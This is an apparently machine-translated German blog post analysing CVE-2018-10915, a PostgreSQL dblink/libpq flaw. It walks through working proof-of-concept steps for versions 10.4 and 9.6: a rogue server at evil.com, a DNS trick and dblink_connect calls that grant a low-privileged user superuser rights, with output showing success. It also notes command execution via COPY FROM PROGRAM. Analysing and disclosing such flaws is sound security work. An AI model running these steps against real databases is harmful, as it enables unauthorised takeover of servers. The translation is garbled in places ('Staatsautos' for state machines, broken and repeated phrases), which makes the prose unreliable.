Eskalation von PostgreSQL-Berechtigungen - CVE-2018-10915-Analyse

KDPV

Es ist kein Geheimnis, dass Staatsautos unter uns sind. Sie sind buchstäblich überall, von der Benutzeroberfläche bis zum Netzwerkstapel. Mal komplex, mal einfach. Manchmal sicherheitsrelevant, manchmal nicht sehr. Aber oft sehr faszinierend zu studieren :) Heute möchte ich über einen lustigen Fall mit PostgreSQL sprechen - CVE-2018-10915 , der es ermöglichte, die Berechtigungen für Superuser zu erhöhen.


Kleines Intro


Wie Sie wissen, sind verwaltete Datenbanken weltweit auf dem Vormarsch. Es ist nicht überraschend - wenn Sie eine einfache, nicht anspruchsvolle Anwendung haben, warum dann mit der Vorbereitung Ihrer eigenen Basis fluchen? In der Tat können Sie sich bei den meisten Cloud- (oder spezialisierten) Anbietern eine MySQL / PostgreSQL / MongoDB / etc-Datenbank besorgen und glücklich leben. Dies verursachte natürlich zusätzliche Probleme, wie Wenn Sie zuvor, um die meisten Sicherheitsprobleme in den Datenbanken auszunutzen, zuerst die App herunterladen mussten (die in den meisten Fällen an sich schon vorbei ist), dann jetzt nackter Arsch Ihre Schnittstelle steht dem Angreifer zur Verfügung. Es sollte eine Bemerkung darüber gemacht werden, dass das nächste Hindernis eine qualitativ hochwertige Infrastruktur sein sollte, und dies ist wahr, aber heute geht es nicht darum.


Die Essenz von CVE-2018-10915


  • In den meisten Fällen erfordert PostgreSQL keine Authentifizierung für lokale Verbindungen. Ein Beispiel aus dem offiziellen Docker-Bild:

# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust 

  • Dank der Erweiterungen dblink und postgres_fdw können Sie eine Verbindung zu entfernten Datenbanken herstellen. Und nach den Foren zu urteilen, werden Verbraucher oft nach ihrer Verfügbarkeit gefragt;)
  • Die Autoren wurden bereits bei der Eskalation von Berechtigungen verbrannt, sodass sie einen Hack zum Verbinden von Verbindungen ohne Authentifizierung durchgeführt haben:

 // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639 static void dblink_security_check(PGconn *conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } } // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314 int PQconnectionUsedPassword(const PGconn *conn) { if (!conn) return false; if (conn->password_needed) return true; else return false; } 

  • Das password_needed wird von der Zustandsmaschine gesetzt, nachdem eine AUTH_REQ_MD5 oder AUTH_REQ_PASSWORD Nachricht vom Server empfangen wurde
  • libpq kann mehrere IPs (S. 9.x) oder Hosts (S. 10.x / 11.x) umgehen, um eine geeignete zu finden
  • Die Zustandsmaschine wechselt zur nächsten IP / zum nächsten Host, nachdem das Flag password_needed in zwei für uns geeigneten Fällen gesetzt wurde:
    • Wir möchten eine beschreibbare Sitzung ( target_session_attrs=read-write ) und der Server ist schreibgeschützt
    • nach Erhalt eines unknown application_name
  • Beim Wechsel zur nächsten IP / zum nächsten IP wird pqDropConnection aufgerufen , wodurch die Verbindungsdaten sehr selektiv bereinigt werden (da einige von ihnen möglicherweise für die erneute Verbindung erforderlich sind). Hinweis: password_needed nicht zurückgesetzt
  • Dies ermöglicht das Umgehen der Prüfung dblink_security_check als Bei Verbindung mit dem nächsten Host bleibt das Flag auf dem vorherigen Wert
  • GEWINN

Wenn wir also einen Benutzer mit Zugriff auf dblink und PostgreSQL mit vertrauenswürdigen Verbindungen für diesen Host haben, können wir die Authentifizierungsanforderung mit einem Kennwort umgehen, im Namen des postgres Supervisors eine Verbindung postgres und alles in seinem Namen ausführen (z. B. beliebige Befehle mit COPY foo FROM PROGRAM 'whoami'; ).


Von der Theorie zur Praxis - PostgreSQL 10.4!


Aber Sie werden nicht nur eine Theorie satt haben, deshalb habe ich ein kleines Beispiel für die Ausnutzung dieser Sicherheitsanfälligkeit vorbereitet. Wir werden mit PostgreSQL 10.4 beginnen.


  • Schreiben Sie zunächst einen einfachen PostgreSQL-Server ( bogus-pgsrv ), auf dem für jede Anforderung eine Kennwortauthentifizierung erforderlich ist, und senden ERRCODE_APPNAME_UNKNOWN nach dem Empfang einen Fehler ERRCODE_APPNAME_UNKNOWN :

 $ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432? 

  • Bereiten Sie nun den Test PostgreSQL vor:

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • Wir überprüfen, ob der Benutzertest keine spezifischen Rechte hat:

 $ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test 

  • ausgezeichnet, jetzt arbeiten wir:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser 

  • das ist alles Wir können machen was wir wollen ^ _ ^

Von der Theorie zur Praxis - PostgreSQL 9.6!


Mit PostgreSQL 9.x sind die Dinge etwas komplizierter, weil Die Aufzählung der Liste der Hosts, zu denen eine Verbindung hergestellt werden soll, wird nicht unterstützt. Wenn die Adresse jedoch in mehrere IPs aufgelöst wird, werden sie alle umgangen! Und seitdem IPv6-Adressen haben Priorität (siehe RFC6724 ). Wir können dasselbe tun, indem wir unsere IPs auf eine AAAA-Anfrage beantworten und 127.0.0.1 an A + Verbindungen für einige Sekunden ERRCODE_APPNAME_UNKNOWN nachdem ERRCODE_APPNAME_UNKNOWN :


  • DNS vorbereiten:

 $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba 

  • Führen Sie das gleiche falsche pgsql aus
  • und bereiten Sie den Test PostgreSQL erneut vor (IPv6 sollte für den Docker funktionieren, dies ist wichtig):

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • Wir arbeiten:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {} 

  • das ist alles Wir können machen was wir wollen ^ _ ^

Fazit


Ich wollte zum Schluss etwas Kluges schreiben, aber leider habe ich keine gute, einfache und universelle Möglichkeit, um zu überprüfen, ob mit Ihrer Zustandsmaschine alles in Ordnung ist. Es gibt verschiedene Versuche, aber nach meinem Dafürhalten sind sie entweder zu eng spezialisiert oder sie bewältigen logische Fehler immer noch genauso schlecht. Es bleibt zu hoffen auf Wachsamkeit und ein zusätzliches Paar Augen auf die Bewertung :(

Source: https://habr.com/ru/post/de440394/


All Articles